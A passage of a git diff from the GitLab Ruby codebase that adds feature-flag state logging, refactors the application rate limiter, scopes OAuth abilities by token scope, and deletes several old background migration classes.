+ feature_value = !default_enabled || Feature.persisted_name?(feature.name) ? feature.enabled?(thing) : true
+
+ # If we don't filter out this flag here we will enter an infinite loop
+ log_feature_flag_state(key, feature_value) if log_feature_flag_states?(key)
+
+ feature_value
end
def disabled?(key, thing = nil, type: :development, default_enabled: false)
@@ -153,6 +158,18 @@ class Feature
@logger ||= Feature::Logger.build
end
+ def log_feature_flag_states?(key)
+ Feature::Definition.log_states?(key)
+ end
+
+ def log_feature_flag_state(key, feature_value)
+ logged_states[key] ||= feature_value
+ end
+
+ def logged_states
+ RequestStore.fetch(:feature_flag_events) { {} }
+ end
+
private
def flipper
diff --git a/lib/feature/definition.rb b/lib/feature/definition.rb
index cd2f5cb07a2..61f7e395769 100644
--- a/lib/feature/definition.rb
+++ b/lib/feature/definition.rb
@@ -82,6 +82,16 @@ class Feature
attributes
end
+ def for_upcoming_milestone?
+ return false unless milestone
+
+ Gitlab::VersionInfo.parse(milestone + '.999') >= Gitlab.version_info
+ end
+
+ def force_log_state_changes?
+ attributes[:log_state_changes]
+ end
+
class << self
def paths
@paths ||= [Rails.root.join('config', 'feature_flags', '**', '*.yml')]
@@ -106,6 +116,14 @@ class Feature
definitions.has_key?(key.to_sym)
end
+ def log_states?(key)
+ return false if key == :feature_flag_state_logs
+ return false if Feature.disabled?(:feature_flag_state_logs, type: :ops)
+ return false unless (feature = get(key))
+
+ feature.force_log_state_changes? || feature.for_upcoming_milestone?
+ end
+
def valid_usage!(key, type:, default_enabled:)
if definition = get(key)
definition.valid_usage!(type_in_code: type, default_enabled_in_code: default_enabled)
diff --git a/lib/feature/shared.rb b/lib/feature/shared.rb
index 70e5b523adf..2ce078b2f02 100644
--- a/lib/feature/shared.rb
+++ b/lib/feature/shared.rb
@@ -58,6 +58,7 @@ class Feature
introduced_by_url
rollout_issue_url
milestone
+ log_state_changes
type
group
default_enabled
diff --git a/lib/flowdock/git/builder.rb b/lib/flowdock/git/builder.rb
index 6f4428d1f42..88d9814950a 100644
--- a/lib/flowdock/git/builder.rb
+++ b/lib/flowdock/git/builder.rb
@@ -51,7 +51,7 @@ module Flowdock
end
def body
- content = @commit[:message][first_line.size..-1]
+ content = @commit[:message][first_line.size..]
content.strip! if content
"<pre>#{content}</pre>" unless content.empty?
end
diff --git a/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb b/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb
index e343e2dcf91..58d3257d07e 100644
--- a/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb
+++ b/lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb
@@ -12,11 +12,11 @@ module Gitlab
class_option :ee, type: :boolean, optional: true, default: false, desc: 'Indicates if metric is for ee'
def create_metrics
- weekly_params = ["#{key_path}_weekly", '--dir', '7d']
+ weekly_params = ["#{key_path}_weekly", '--dir', '7d', '--class_name', 'RedisHLLMetric']
weekly_params << '--ee' if ee?
Gitlab::UsageMetricDefinitionGenerator.start(weekly_params)
- monthly_params = ["#{key_path}_monthly", '--dir', '28d']
+ monthly_params = ["#{key_path}_monthly", '--dir', '28d', '--class_name', 'RedisHLLMetric']
monthly_params << '--ee' if ee?
Gitlab::UsageMetricDefinitionGenerator.start(monthly_params)
end
diff --git a/lib/generators/gitlab/usage_metric_definition_generator.rb b/lib/generators/gitlab/usage_metric_definition_generator.rb
index bd34ab0a16f..4ddbe8b9f09 100644
--- a/lib/generators/gitlab/usage_metric_definition_generator.rb
+++ b/lib/generators/gitlab/usage_metric_definition_generator.rb
@@ -35,6 +35,7 @@ module Gitlab
class_option :ee, type: :boolean, optional: true, default: false, desc: 'Indicates if metric is for ee'
class_option :dir,
type: :string, desc: "Indicates the metric location. It must be one of: #{VALID_INPUT_DIRS.join(', ')}"
+ class_option :class_name, type: :string, optional: true, desc: 'Instrumentation class name, e.g.: CountIssues'
argument :key_paths, type: :array, desc: 'Unique JSON key paths for the metrics'
@@ -66,6 +67,10 @@ module Gitlab
Gitlab::VERSION.match('(\d+\.\d+)').captures.first
end
+ def class_name
+ options[:class_name]
+ end
+
private
def metric_name_suggestion(key_path)
diff --git a/lib/generators/gitlab/usage_metric_generator.rb b/lib/generators/gitlab/usage_metric_generator.rb
index c0fdcf21f20..0656dfbc312 100644
--- a/lib/generators/gitlab/usage_metric_generator.rb
+++ b/lib/generators/gitlab/usage_metric_generator.rb
@@ -5,9 +5,9 @@ require 'rails/generators'
module Gitlab
class UsageMetricGenerator < Rails::Generators::Base
CE_DIR = 'lib/gitlab/usage/metrics/instrumentations'
- EE_DIR = 'ee/lib/ee/gitlab/usage/metrics/instrumentations'
+ EE_DIR = 'ee/lib/gitlab/usage/metrics/instrumentations'
SPEC_CE_DIR = 'spec/lib/gitlab/usage/metrics/instrumentations'
- SPEC_EE_DIR = 'ee/spec/lib/ee/gitlab/usage/metrics/instrumentations'
+ SPEC_EE_DIR = 'ee/spec/lib/gitlab/usage/metrics/instrumentations'
ALLOWED_SUPERCLASSES = {
generic: 'Generic',
diff --git a/lib/gitlab/abuse.rb b/lib/gitlab/abuse.rb
new file mode 100644
index 00000000000..cc95d3c1e0c
--- /dev/null
+++ b/lib/gitlab/abuse.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Abuse
+ CONFIDENCE_LEVELS = {
+ certain: 1.0,
+ likely: 0.8,
+ uncertain: 0.5,
+ unknown: 0.0
+ }.freeze
+
+ class << self
+ def confidence(rating)
+ CONFIDENCE_LEVELS.fetch(rating.to_sym)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb b/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
index c8b11ecb4a8..2441b7a7497 100644
--- a/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
+++ b/lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb
@@ -52,3 +52,5 @@ module Gitlab
end
end
end
+
+Gitlab::Analytics::CycleAnalytics::Aggregated::DataCollector.prepend_mod_with('Gitlab::Analytics::CycleAnalytics::Aggregated::DataCollector')
diff --git a/lib/gitlab/analytics/cycle_analytics/aggregated/median.rb b/lib/gitlab/analytics/cycle_analytics/aggregated/median.rb
index 181ee20948b..bf8f9f4dcc7 100644
--- a/lib/gitlab/analytics/cycle_analytics/aggregated/median.rb
+++ b/lib/gitlab/analytics/cycle_analytics/aggregated/median.rb
@@ -15,7 +15,7 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def seconds
- @query = @query.select(median_duration_in_seconds.as('median')).reorder(nil)
+ @query = @query.select(duration_in_seconds(percentile_cont).as('median')).reorder(nil)
result = @query.take || {}
result['median'] || nil
diff --git a/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb b/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb
index 7dce757cdc8..1742d396c10 100644
--- a/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb
+++ b/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb
@@ -36,7 +36,7 @@ module Gitlab
def serialized_records
strong_memoize(:serialized_records) do
- records = ordered_and_limited_query.select(stage_event_model.arel_table[Arel.star], duration.as('total_time'))
+ records = ordered_and_limited_query.select(stage_event_model.arel_table[Arel.star], duration_in_seconds.as('total_time'))
yield records if block_given?
issuables_and_records = load_issuables(records)
diff --git a/lib/gitlab/analytics/cycle_analytics/aggregated/stage_query_helpers.rb b/lib/gitlab/analytics/cycle_analytics/aggregated/stage_query_helpers.rb
index f23d1832df9..b00925495f2 100644
--- a/lib/gitlab/analytics/cycle_analytics/aggregated/stage_query_helpers.rb
+++ b/lib/gitlab/analytics/cycle_analytics/aggregated/stage_query_helpers.rb
@@ -27,13 +27,13 @@ module Gitlab
end
end
- def median_duration_in_seconds
- Arel::Nodes::Extract.new(percentile_cont, :epoch)
- end
-
def in_progress?
params[:end_event_filter] == :in_progress
end
+
+ def duration_in_seconds(duration_expression = duration)
+ Arel::Nodes::Extract.new(duration_expression, :epoch)
+ end
end
end
end
diff --git a/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb b/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
index 945cecfcf8c..e99ad42b0b2 100644
--- a/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
+++ b/lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb
@@ -19,7 +19,7 @@ module Gitlab
raise NotImplementedError
end
- def markdown_description
+ def html_description(options = {})
self.class.name
end
diff --git a/lib/gitlab/anonymous_session.rb b/lib/gitlab/anonymous_session.rb
index 911825eef3a..e58240e16b4 100644
--- a/lib/gitlab/anonymous_session.rb
+++ b/lib/gitlab/anonymous_session.rb
@@ -2,27 +2,29 @@
module Gitlab
class AnonymousSession
+ include ::Gitlab::Redis::SessionsStoreHelper
+
def initialize(remote_ip)
@remote_ip = remote_ip
end
def count_session_ip
- Gitlab::Redis::SharedState.with do |redis|
- redis.pipelined do
- redis.incr(session_lookup_name)
- redis.expire(session_lookup_name, 24.hours)
+ redis_store_class.with do |redis|
+ redis.pipelined do |pipeline|
+ pipeline.incr(session_lookup_name)
+ pipeline.expire(session_lookup_name, 24.hours)
end
end
end
def session_count
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
redis.get(session_lookup_name).to_i
end
end
def cleanup_session_per_ip_count
- Gitlab::Redis::SharedState.with do |redis|
+ redis_store_class.with do |redis|
redis.del(session_lookup_name)
end
end
@@ -32,7 +34,7 @@ module Gitlab
attr_reader :remote_ip
def session_lookup_name
- @session_lookup_name ||= "#{Gitlab::Redis::SharedState::IP_SESSIONS_LOOKUP_NAMESPACE}:#{remote_ip}"
+ @session_lookup_name ||= "#{Gitlab::Redis::Sessions::IP_SESSIONS_LOOKUP_NAMESPACE}:#{remote_ip}"
end
end
end
diff --git a/lib/gitlab/application_context.rb b/lib/gitlab/application_context.rb
index aa33f56582b..c3415c45b28 100644
--- a/lib/gitlab/application_context.rb
+++ b/lib/gitlab/application_context.rb
@@ -124,11 +124,8 @@ module Gitlab
strong_memoize(:runner_project) do
next unless runner&.project_type?
- projects = ::Gitlab::Database.allow_cross_joins_across_databases(url: 'https://gitlab.com/gitlab-org/gitlab/-/issues/342147') do
- runner.projects.take(2) # rubocop: disable CodeReuse/ActiveRecord
- end
-
- projects.first if projects.one?
+ runner_projects = runner.runner_projects.take(2) # rubocop: disable CodeReuse/ActiveRecord
+ runner_projects.first.project if runner_projects.one?
end
end
diff --git a/lib/gitlab/application_rate_limiter.rb b/lib/gitlab/application_rate_limiter.rb
index 3db2f1295f9..fb90ad9e275 100644
--- a/lib/gitlab/application_rate_limiter.rb
+++ b/lib/gitlab/application_rate_limiter.rb
@@ -4,12 +4,7 @@ module Gitlab
# This class implements a simple rate limiter that can be used to throttle
# certain actions. Unlike Rack Attack and Rack::Throttle, which operate at
# the middleware level, this can be used at the controller or API level.
- #
- # @example
- # if Gitlab::ApplicationRateLimiter.throttled?(:project_export, scope: [@project, @current_user])
- # flash[:alert] = 'error!'
- # redirect_to(edit_project_path(@project), status: :too_many_requests)
- # end
+ # See CheckRateLimit concern for usage.
class ApplicationRateLimiter
InvalidKeyError = Class.new(StandardError)
@@ -47,7 +42,7 @@ module Gitlab
project_import: { threshold: -> { application_settings.project_import_limit }, interval: 1.minute },
project_testing_hook: { threshold: 5, interval: 1.minute },
play_pipeline_schedule: { threshold: 1, interval: 1.minute },
- show_raw_controller: { threshold: -> { application_settings.raw_blob_request_limit }, interval: 1.minute },
+ raw_blob: { threshold: -> { application_settings.raw_blob_request_limit }, interval: 1.minute },
group_export: { threshold: -> { application_settings.group_export_limit }, interval: 1.minute },
group_download_export: { threshold: -> { application_settings.group_download_export_limit }, interval: 1.minute },
group_import: { threshold: -> { application_settings.group_import_limit }, interval: 1.minute },
@@ -64,45 +59,47 @@ module Gitlab
# be throttled.
#
# @param key [Symbol] Key attribute registered in `.rate_limits`
- # @option scope [Array<ActiveRecord>] Array of ActiveRecord models to scope throttling to a specific request (e.g. per user per project)
- # @option threshold [Integer] Optional threshold value to override default one registered in `.rate_limits`
- # @option users_allowlist [Array<String>] Optional list of usernames to exclude from the limit. This param will only be functional if Scope includes a current user.
+ # @param scope [Array<ActiveRecord>] Array of ActiveRecord models to scope throttling to a specific request (e.g. per user per project)
+ # @param threshold [Integer] Optional threshold value to override default one registered in `.rate_limits`
+ # @param users_allowlist [Array<String>] Optional list of usernames to exclude from the limit. This param will only be functional if Scope includes a current user.
+ # @param peek [Boolean] Optional. When true the key will not be incremented but the current throttled state will be returned.
#
# @return [Boolean] Whether or not a request should be throttled
- def throttled?(key, **options)
+ def throttled?(key, scope:, threshold: nil, users_allowlist: nil, peek: false)
raise InvalidKeyError unless rate_limits[key]
- return if scoped_user_in_allowlist?(options)
+ return false if scoped_user_in_allowlist?(scope, users_allowlist)
- threshold_value = options[:threshold] || threshold(key)
- threshold_value > 0 &&
- increment(key, options[:scope]) > threshold_value
- end
+ threshold_value = threshold || threshold(key)
- # Increments a cache key that is based on the current time and interval.
- # So that when time passes to the next interval, the key changes and the count starts again from 0.
- #
- # Based on https://github.com/rack/rack-attack/blob/886ba3a18d13c6484cd511a4dc9b76c0d14e5e96/lib/rack/attack/cache.rb#L63-L68
- #
- # @param key [Symbol] Key attribute registered in `.rate_limits`
- # @option scope [Array<ActiveRecord>] Array of ActiveRecord models to scope throttling to a specific request (e.g. per user per project)
- #
- # @return [Integer] incremented value
- def increment(key, scope)
- interval_value = interval(key)
+ return false if threshold_value == 0
+ interval_value = interval(key)
+ # `period_key` is based on the current time and interval so when time passes to the next interval
+ # the key changes and the rate limit count starts again from 0.
+ # Based on https://github.com/rack/rack-attack/blob/886ba3a18d13c6484cd511a4dc9b76c0d14e5e96/lib/rack/attack/cache.rb#L63-L68
period_key, time_elapsed_in_period = Time.now.to_i.divmod(interval_value)
+ cache_key = cache_key(key, scope, period_key)
- cache_key = "#{action_key(key, scope)}:#{period_key}"
- # We add a 1 second buffer to avoid timing issues when we're at the end of a period
- expiry = interval_value - time_elapsed_in_period + 1
+ value = if peek
+ read(cache_key)
+ else
+ increment(cache_key, interval_value, time_elapsed_in_period)
+ end
- ::Gitlab::Redis::RateLimiting.with do |redis|
- redis.pipelined do
- redis.incr(cache_key)
- redis.expire(cache_key, expiry)
- end.first
- end
+ value > threshold_value
+ end
+
+ # Returns the current rate limited state without incrementing the count.
+ #
+ # @param key [Symbol] Key attribute registered in `.rate_limits`
+ # @param scope [Array<ActiveRecord>] Array of ActiveRecord models to scope throttling to a specific request (e.g. per user per project)
+ # @param threshold [Integer] Optional threshold value to override default one registered in `.rate_limits`
+ # @param users_allowlist [Array<String>] Optional list of usernames to exclude from the limit. This param will only be functional if Scope includes a current user.
+ #
+ # @return [Boolean] Whether or not a request is currently throttled
+ def peek(key, scope:, threshold: nil, users_allowlist: nil)
+ throttled?(key, peek: true, scope: scope, threshold: threshold, users_allowlist: users_allowlist)
end
# Logs request using provided logger
@@ -150,7 +147,28 @@ module Gitlab
action[setting] if action
end
- def action_key(key, scope)
+ # Increments the rate limit count and returns the new count value.
+ def increment(cache_key, interval_value, time_elapsed_in_period)
+ # We add a 1 second buffer to avoid timing issues when we're at the end of a period
+ expiry = interval_value - time_elapsed_in_period + 1
+
+ ::Gitlab::Redis::RateLimiting.with do |redis|
+ redis.pipelined do
+ redis.incr(cache_key)
+ redis.expire(cache_key, expiry)
+ end.first
+ end
+ end
+
+ # Returns the rate limit count.
+ # Will be 0 if there is no data in the cache.
+ def read(cache_key)
+ ::Gitlab::Redis::RateLimiting.with do |redis|
+ redis.get(cache_key).to_i
+ end
+ end
+
+ def cache_key(key, scope, period_key)
composed_key = [key, scope].flatten.compact
serialized = composed_key.map do |obj|
@@ -161,20 +179,20 @@ module Gitlab
end
end.join(":")
- "application_rate_limiter:#{serialized}"
+ "application_rate_limiter:#{serialized}:#{period_key}"
end
def application_settings
Gitlab::CurrentSettings.current_application_settings
end
- def scoped_user_in_allowlist?(options)
- return unless options[:users_allowlist].present?
+ def scoped_user_in_allowlist?(scope, users_allowlist)
+ return unless users_allowlist.present?
- scoped_user = [options[:scope]].flatten.find { |s| s.is_a?(User) }
+ scoped_user = [scope].flatten.find { |s| s.is_a?(User) }
return unless scoped_user
- scoped_user.username.downcase.in?(options[:users_allowlist])
+ scoped_user.username.downcase.in?(users_allowlist)
end
end
diff --git a/lib/gitlab/asciidoc/syntax_highlighter/html_pipeline_adapter.rb b/lib/gitlab/asciidoc/syntax_highlighter/html_pipeline_adapter.rb
index 6dbe6f691f6..3ada3f947ee 100644
--- a/lib/gitlab/asciidoc/syntax_highlighter/html_pipeline_adapter.rb
+++ b/lib/gitlab/asciidoc/syntax_highlighter/html_pipeline_adapter.rb
@@ -7,7 +7,7 @@ module Gitlab
register_for 'gitlab-html-pipeline'
def format(node, lang, opts)
- if Feature.enabled?(:use_cmark_renderer)
+ if Feature.enabled?(:use_cmark_renderer, default_enabled: :yaml)
%(<pre #{lang ? %[lang="#{lang}"] : ''}><code>#{node.content}</code></pre>)
else
%(<pre><code #{lang ? %[ lang="#{lang}"] : ''}>#{node.content}</code></pre>)
diff --git a/lib/gitlab/auth.rb b/lib/gitlab/auth.rb
index 0970b92723b..3e982168339 100644
--- a/lib/gitlab/auth.rb
+++ b/lib/gitlab/auth.rb
@@ -189,7 +189,7 @@ module Gitlab
user = User.id_in(token.resource_owner_id).first
return unless user && can_user_login_with_non_expired_password?(user)
- Gitlab::Auth::Result.new(user, nil, :oauth, full_authentication_abilities)
+ Gitlab::Auth::Result.new(user, nil, :oauth, abilities_for_scopes(token.scopes))
end
end
end
@@ -230,7 +230,7 @@ module Gitlab
# rubocop: enable CodeReuse/ActiveRecord
def valid_oauth_token?(token)
- token && token.accessible? && valid_scoped_token?(token, [:api])
+ token && token.accessible? && valid_scoped_token?(token, Doorkeeper.configuration.scopes)
end
def valid_scoped_token?(token, scopes)
diff --git a/lib/gitlab/auth/user_access_denied_reason.rb b/lib/gitlab/auth/user_access_denied_reason.rb
index 904759919ae..ff6dc7313bb 100644
--- a/lib/gitlab/auth/user_access_denied_reason.rb
+++ b/lib/gitlab/auth/user_access_denied_reason.rb
@@ -15,7 +15,7 @@ module Gitlab
"Your account is pending approval from your administrator and hence blocked."
when :terms_not_accepted
"You (#{@user.to_reference}) must accept the Terms of Service in order to perform this action. "\
- "Please access GitLab from a web browser to accept these terms."
+ "To accept these terms, please access GitLab from a web browser at #{Gitlab.config.gitlab.url}."
when :deactivated
"Your account has been deactivated by your administrator. "\
"Please log back in from a web browser to reactivate your account at #{Gitlab.config.gitlab.url}"
diff --git a/lib/gitlab/background_migration.rb b/lib/gitlab/background_migration.rb
index 22b4b685f81..ed58508182a 100644
--- a/lib/gitlab/background_migration.rb
+++ b/lib/gitlab/background_migration.rb
@@ -2,11 +2,13 @@
module Gitlab
module BackgroundMigration
+ DEFAULT_TRACKING_DATABASE = Gitlab::Database::MAIN_DATABASE_NAME
+
def self.coordinator_for_database(database)
- JobCoordinator.for_database(database)
+ JobCoordinator.for_tracking_database(database)
end
- def self.queue(database: :main)
+ def self.queue(database: DEFAULT_TRACKING_DATABASE)
coordinator_for_database(database).queue
end
@@ -22,7 +24,7 @@ module Gitlab
# steal_class - The name of the class for which to steal jobs.
# retry_dead_jobs - Flag to control whether jobs in Sidekiq::RetrySet or Sidekiq::DeadSet are retried.
# database - tracking database this migration executes against
- def self.steal(steal_class, retry_dead_jobs: false, database: :main, &block)
+ def self.steal(steal_class, retry_dead_jobs: false, database: DEFAULT_TRACKING_DATABASE, &block)
coordinator_for_database(database).steal(steal_class, retry_dead_jobs: retry_dead_jobs, &block)
end
@@ -35,15 +37,15 @@ module Gitlab
# arguments - The arguments to pass to the background migration's "perform"
# method.
# database - tracking database this migration executes against
- def self.perform(class_name, arguments, database: :main)
+ def self.perform(class_name, arguments, database: DEFAULT_TRACKING_DATABASE)
coordinator_for_database(database).perform(class_name, arguments)
end
- def self.exists?(migration_class, additional_queues = [], database: :main)
+ def self.exists?(migration_class, additional_queues = [], database: DEFAULT_TRACKING_DATABASE)
coordinator_for_database(database).exists?(migration_class, additional_queues) # rubocop:disable CodeReuse/ActiveRecord
end
- def self.remaining(database: :main)
+ def self.remaining(database: DEFAULT_TRACKING_DATABASE)
coordinator_for_database(database).remaining
end
end
diff --git a/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb b/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb
deleted file mode 100644
index 5b9ee8a0ee2..00000000000
--- a/lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-# rubocop:disable Style/Documentation
-
-module Gitlab
- module BackgroundMigration
- class AddMergeRequestDiffCommitsCount
- class MergeRequestDiff < ActiveRecord::Base
- self.table_name = 'merge_request_diffs'
- end
-
- def perform(start_id, stop_id)
- Gitlab::AppLogger.info("Setting commits_count for merge request diffs: #{start_id} - #{stop_id}")
-
- update = '
- commits_count = (
- SELECT count(*)
- FROM merge_request_diff_commits
- WHERE merge_request_diffs.id = merge_request_diff_commits.merge_request_diff_id
- )'.squish
-
- MergeRequestDiff.where(id: start_id..stop_id).where(commits_count: nil).update_all(update)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule.rb b/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule.rb
deleted file mode 100644
index 2148e96f6b4..00000000000
--- a/lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Compare all current rules to project rules
- class AddModifiedToApprovalMergeRequestRule
- # Stubbed class to access the Group table
- class Group < ActiveRecord::Base
- self.table_name = 'namespaces'
- self.inheritance_column = :_type_disabled
- end
-
- # Stubbed class to access the ApprovalMergeRequestRule table
- class ApprovalMergeRequestRule < ActiveRecord::Base
- self.table_name = 'approval_merge_request_rules'
-
- has_one :approval_merge_request_rule_source, class_name: 'AddModifiedToApprovalMergeRequestRule::ApprovalMergeRequestRuleSource'
- has_one :approval_project_rule, through: :approval_merge_request_rule_source
- has_and_belongs_to_many :groups,
- class_name: 'AddModifiedToApprovalMergeRequestRule::Group', join_table: "#{self.table_name}_groups"
- end
-
- # Stubbed class to access the ApprovalProjectRule table
- class ApprovalProjectRule < ActiveRecord::Base
- self.table_name = 'approval_project_rules'
-
- has_many :approval_merge_request_rule_sources, class_name: 'AddModifiedToApprovalMergeRequestRule::ApprovalMergeRequestRuleSource'
- has_and_belongs_to_many :groups,
- class_name: 'AddModifiedToApprovalMergeRequestRule::Group', join_table: "#{self.table_name}_groups"
- end
-
- # Stubbed class to access the ApprovalMergeRequestRuleSource table
- class ApprovalMergeRequestRuleSource < ActiveRecord::Base
- self.table_name = 'approval_merge_request_rule_sources'
-
- belongs_to :approval_merge_request_rule, class_name: 'AddModifiedToApprovalMergeRequestRule::ApprovalMergeRequestRule'
- belongs_to :approval_project_rule, class_name: 'AddModifiedToApprovalMergeRequestRule::ApprovalProjectRule'
- end
-
- def perform(start_id, stop_id)
- approval_merge_requests_rules = ApprovalMergeRequestRule
- .joins(:groups, :approval_merge_request_rule_source)
- .where(id: start_id..stop_id)
- .pluck(
- 'approval_merge_request_rule_sources.id as ars_id',
- 'approval_merge_request_rules_groups.id as amrg_id'
- )
-
- approval_project_rules = ApprovalProjectRule
- .joins(:groups, approval_merge_request_rule_sources: :approval_merge_request_rule)
- .where(approval_merge_request_rules: { id: start_id..stop_id })
- .pluck(
- 'approval_merge_request_rule_sources.id as ars_id',
- 'approval_project_rules_groups.id as apg_id'
- )
-
- different_names_or_approval_sources = ApprovalMergeRequestRule.joins(:approval_project_rule, :approval_merge_request_rule_source)
- .where(id: start_id..stop_id)
- .where('approval_merge_request_rules.name != approval_project_rules.name OR ' \
- 'approval_merge_request_rules.approvals_required != approval_project_rules.approvals_required')
- .pluck('approval_merge_request_rule_sources.id as ars_id')
-
- intersected_set = approval_merge_requests_rules.to_set ^ approval_project_rules.to_set
- source_ids = intersected_set.collect { |rule| rule[0] }.uniq
-
- rule_sources = ApprovalMergeRequestRuleSource.where(id: source_ids + different_names_or_approval_sources)
- changed_merge_request_rules = ApprovalMergeRequestRule.where(id: rule_sources.select(:approval_merge_request_rule_id))
-
- changed_merge_request_rules.update_all(modified_from_project_rule: true)
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments.rb b/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments.rb
deleted file mode 100644
index 9778f360e87..00000000000
--- a/lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Backfill deployment_clusters for a range of deployments
- class BackfillDeploymentClustersFromDeployments
- def perform(start_id, end_id)
- ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO deployment_clusters (deployment_id, cluster_id)
- SELECT deployments.id, deployments.cluster_id
- FROM deployments
- WHERE deployments.cluster_id IS NOT NULL
- AND deployments.id BETWEEN #{start_id} AND #{end_id}
- ON CONFLICT DO NOTHING
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests.rb b/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests.rb
deleted file mode 100644
index 4fd3b81fda3..00000000000
--- a/lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # BackfillEnvironmentIdDeploymentMergeRequests deletes duplicates
- # from deployment_merge_requests table and backfills environment_id
- class BackfillEnvironmentIdDeploymentMergeRequests
- def perform(_start_mr_id, _stop_mr_id)
- # no-op
-
- # Background migration removed due to
- # https://gitlab.com/gitlab-org/gitlab/-/issues/217191
- end
-
- def backfill_range(start_mr_id, stop_mr_id)
- start_mr_id = Integer(start_mr_id)
- stop_mr_id = Integer(stop_mr_id)
-
- ActiveRecord::Base.connection.execute(<<~SQL)
- DELETE FROM deployment_merge_requests
- WHERE (deployment_id, merge_request_id) in (
- SELECT t.deployment_id, t.merge_request_id FROM (
- SELECT mrd.merge_request_id, mrd.deployment_id, ROW_NUMBER() OVER w AS rnum
- FROM deployment_merge_requests as mrd
- INNER JOIN "deployments" ON "deployments"."id" = "mrd"."deployment_id"
- WHERE mrd.merge_request_id BETWEEN #{start_mr_id} AND #{stop_mr_id}
- WINDOW w AS (
- PARTITION BY merge_request_id, deployments.environment_id
- ORDER BY deployments.id
- )
- ) t
- WHERE t.rnum > 1
- );
- SQL
-
- ActiveRecord::Base.connection.execute(<<~SQL)
- UPDATE deployment_merge_requests
- SET environment_id = deployments.environment_id
- FROM deployments
- WHERE deployments.id = "deployment_merge_requests".deployment_id
- AND "deployment_merge_requests".environment_id IS NULL
- AND "deployment_merge_requests".merge_request_id BETWEEN #{start_mr_id} AND #{stop_mr_id}
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules.rb b/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules.rb
deleted file mode 100644
index 8a58cf9b302..00000000000
--- a/lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Backfill merge request cleanup schedules of closed/merged merge requests
- # without any corresponding records.
- class BackfillMergeRequestCleanupSchedules
- # Model used for migration added in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46782.
- class MergeRequest < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'merge_requests'
-
- def self.eligible
- where('merge_requests.state_id IN (2, 3)')
- end
- end
-
- def perform(start_id, end_id)
- eligible_mrs = MergeRequest.eligible.where(id: start_id..end_id)
- scheduled_at_column = "COALESCE(metrics.merged_at, COALESCE(metrics.latest_closed_at, merge_requests.updated_at)) + interval '14 days'"
- query =
- eligible_mrs
- .select("merge_requests.id, #{scheduled_at_column}, NOW(), NOW()")
- .joins('LEFT JOIN merge_request_metrics metrics ON metrics.merge_request_id = merge_requests.id')
-
- result = ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO merge_request_cleanup_schedules (merge_request_id, scheduled_at, created_at, updated_at)
- #{query.to_sql}
- ON CONFLICT (merge_request_id) DO NOTHING;
- SQL
-
- ::Gitlab::BackgroundMigration::Logger.info(
- message: 'Backfilled merge_request_cleanup_schedules records',
- count: result.cmd_tuples
- )
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_namespace_settings.rb b/lib/gitlab/background_migration/backfill_namespace_settings.rb
deleted file mode 100644
index a391d5f4ebe..00000000000
--- a/lib/gitlab/background_migration/backfill_namespace_settings.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module BackgroundMigration
- # Backfillnamespace_settings for a range of namespaces
- class BackfillNamespaceSettings
- def perform(start_id, end_id)
- ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO namespace_settings (namespace_id, created_at, updated_at)
- SELECT namespaces.id, now(), now()
- FROM namespaces
- WHERE namespaces.id BETWEEN #{start_id} AND #{end_id}
- ON CONFLICT (namespace_id) DO NOTHING;
- SQL
- end
- end
- end
-end
diff --git a/lib/gitlab/background_migration/backfill_project_settings.rb b/lib/gitlab/background_migration/backfill_project_settings.rb
deleted file mode 100644
index 7d7f19e1fda..00000000000
